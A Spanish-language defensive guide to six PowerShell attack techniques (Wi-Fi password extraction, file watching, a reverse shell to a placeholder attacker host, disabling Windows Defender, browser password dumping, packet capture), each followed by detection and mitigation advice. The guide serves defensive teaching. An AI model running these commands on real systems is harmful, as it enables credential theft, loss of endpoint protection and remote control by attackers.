Esta guía recoge varios comandos de PowerShell que podrían ser utilizados en un ataque real. Su objetivo es aprender a identificarlos, comprender su impacto y aplicar contramedidas, tanto en análisis forense como en la protección de sistemas Windows.
1. Extracción de Perfiles Wi-Fi
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_-replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
Descripción:
Los atacantes pueden intentar enumerar redes Wi-Fi almacenadas en el sistema y extraer sus contraseñas.
Riesgos:
- Robo de credenciales Wi-Fi.
- Acceso a redes corporativas.
Cómo detectarlo:
- Comandos
netsh wlan show profileen el historial PowerShell. - Eventos de seguridad 4688 (creación de procesos sospechosos).
- Herramientas EDR generando alertas.
Medidas defensivas:
- Deshabilitar almacenamiento de contraseñas Wi-Fi.
- Monitorizar ejecución de
netshen endpoints. - Aplicar políticas de Zero Trust para redes inalámbricas.
2. Monitorización del Sistema de Archivos
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\';
$watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent
$watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
Descripción:
El uso de FileSystemWatcher puede ser legítimo, pero un actor malicioso puede usarlo para vigilar carpetas sensibles.
Riesgos:
- Detección de actividad del usuario.
- Automatización de robo de archivos.
Detección:
- Scripts no autorizados ejecutándose en segundo plano.
- Creación de eventos persistentes (
Register-ObjectEvent).
Mitigación:
- Restringir ejecución de PowerShell no firmado.
- Habilitar PowerShell Logging (Script Block Logging + Module Logging).
- Supervisar eventos persistentes con Sysinternals Autoruns.
3. Creación de Reverse Shell
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
$client.GetStream(); [byte[]]$bytes = 0..65535...
Descripción:
Un atacante puede intentar establecer una conexión saliente a un servidor remoto para ejecutar comandos de forma remota.
Indicadores:
- Uso de
System.Net.Sockets.TCPClient. - Conexiones salientes a IP desconocidas.
- Alertas de firewall por tráfico inusual.
Protección:
- Bloquear conexiones salientes no autorizadas.
- Monitorizar PowerShell de alto riesgo mediante AMSI.
- Reglas estrictas en firewall corporativo.
4. Desactivación de Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Descripción:
Los comandos de Set-MpPreference son comunes en ataques para desactivar la protección del sistema.
Riesgos:
- Desprotección total del endpoint.
- Instalación de malware sin impedimentos.
Cómo detectarlo:
- Eventos en
Microsoft-Windows-Windows Defender/Operational. - Cambios inesperados en políticas de antivirus.
Contramedidas:
- Bloquear cambios locales mediante GPO.
- Forzar protección en la nube.
- Implementar soluciones EDR independientes.
5. Extracción de Contraseñas de Navegadores
Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt
Descripción:
Herramientas de volcado de contraseñas pueden ser usadas para robo de credenciales.
Indicadores:
- Scripts que acceden a bases de datos de navegadores.
- Archivos de salida sospechosos (ej.
browser_passwords.txt).
Protección:
- Deshabilitar almacenamiento de contraseñas en navegadores corporativos.
- Monitorizar acceso a archivos
Login Data. - Aplicar MFA para reducir impacto.
6. Sniffing y Captura de Tráfico
$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60
Descripción:
Un atacante podría iniciar sesiones de captura con New-NetEventSession.
Riesgos:
- Acceso a credenciales en texto claro.
- Interceptación de datos sensibles.
Detección:
- Archivos
.etlgenerados sin autorización. - Sesiones activas de NetEvent.
Mitigación:
- Restringir permisos de captura de red.
- Cifrar todas las comunicaciones internas.
- Auditoría regular del firewall y tráfico interno.
Conclusion
Esta guía muestra técnicas que pueden utilizarse en ataques reales, y ofrece criterios para detectarlas y defenderse.
